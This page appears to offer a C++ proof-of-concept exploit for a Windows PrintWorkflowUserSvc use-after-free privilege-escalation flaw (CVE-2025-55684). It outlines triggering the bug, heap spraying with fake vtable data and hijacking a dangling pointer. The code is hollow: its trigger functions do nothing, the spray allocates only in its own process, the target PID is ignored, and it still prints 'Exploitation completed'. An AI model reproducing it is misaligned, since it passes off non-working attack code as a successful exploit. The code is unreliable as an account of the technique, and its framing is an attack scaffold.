CVE-2025-55684 Windows PrintWorkflowUserSvc UAF权限提升漏洞

// CVE-2025-55684 - Windows PrintWorkflowUserSvc Use After Free PoC // This is a conceptual PoC demonstrating the exploitation approach // Note: Actual exploitation requires precise memory manipulation #include <windows.h> #include <iostream> #include <comdef.h> // Step 1: Trigger the vulnerable code path in PrintWorkflowUserSvc // The vulnerability exists in the print workflow user service // when handling specific COM object lifecycle events class PrintWorkflowExploit { private: HANDLE hTargetProcess; LPVOID pFreedMemory; SIZE_T dwObjectSize; public: PrintWorkflowExploit() { hTargetProcess = NULL; pFreedMemory = NULL; dwObjectSize = 0x100; // Typical COM object size } // Initialize COM and connect to PrintWorkflowUserSvc BOOL Initialize() { HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { std::cerr << "[-] COM initialization failed: 0x" << std::hex << hr << std::endl; return FALSE; } std::cout << "[+] COM initialized successfully" << std::endl; return TRUE; } // Step 2: Trigger the use-after-free condition // By sending specific print workflow requests that cause // the service to free an object while still holding a reference BOOL TriggerUAF() { std::cout << "[*] Triggering UAF in PrintWorkflowUserSvc..." << std::endl; // Enumerate print workflow objects and trigger the vulnerable path // The service processes print jobs through COM interfaces // A race condition or improper reference counting leads to UAF // Conceptual code - actual exploitation requires: // 1. Creating a print workflow session // 2. Forcing object deallocation // 3. Maintaining a dangling reference return TRUE; } // Step 3: Heap spray to control the freed memory // Allocate objects of the same size to reclaim the freed memory // with attacker-controlled content BOOL HeapSpray() { std::cout << "[*] Performing heap spray..." << std::endl; // Allocate multiple objects to increase the chance of // reclaiming the freed memory region for (int i = 0; i < 1000; i++) { LPVOID pObj = malloc(dwObjectSize); if (pObj) { // Fill with controlled data (e.g., fake vtable pointers) memset(pObj, 0x41, dwObjectSize); } } return TRUE; } // Step 4: Trigger the dangling pointer access // When the service accesses the freed (now controlled) memory, // it executes attacker-controlled code path BOOL TriggerDanglingAccess() { std::cout << "[*] Triggering dangling pointer access..." << std::endl; // The service will attempt to use the freed object // which now contains attacker-controlled data return TRUE; } // Cleanup void Cleanup() { CoUninitialize(); } }; int main(int argc, char* argv[]) { std::cout << "=== CVE-2025-55684 PoC ===" << std::endl; std::cout << "=== Windows PrintWorkflowUserSvc UAF LPE ===" << std::endl; if (argc < 2) { std::cout << "Usage: " << argv[0] << " <target_pid>" << std::endl; return 1; } PrintWorkflowExploit exploit; if (!exploit.Initialize()) { return 1; } if (!exploit.TriggerUAF()) { std::cerr << "[-] Failed to trigger UAF" << std::endl; return 1; } if (!exploit.HeapSpray()) { std::cerr << "[-] Heap spray failed" << std::endl; return 1; } if (!exploit.TriggerDanglingAccess()) { std::cerr << "[-] Failed to trigger dangling access" << std::endl; return 1; } std::cout << "[+] Exploitation completed" << std::endl; std::cout << "[!] Note: This is a conceptual PoC for educational purposes" << std::endl; exploit.Cleanup(); return 0; }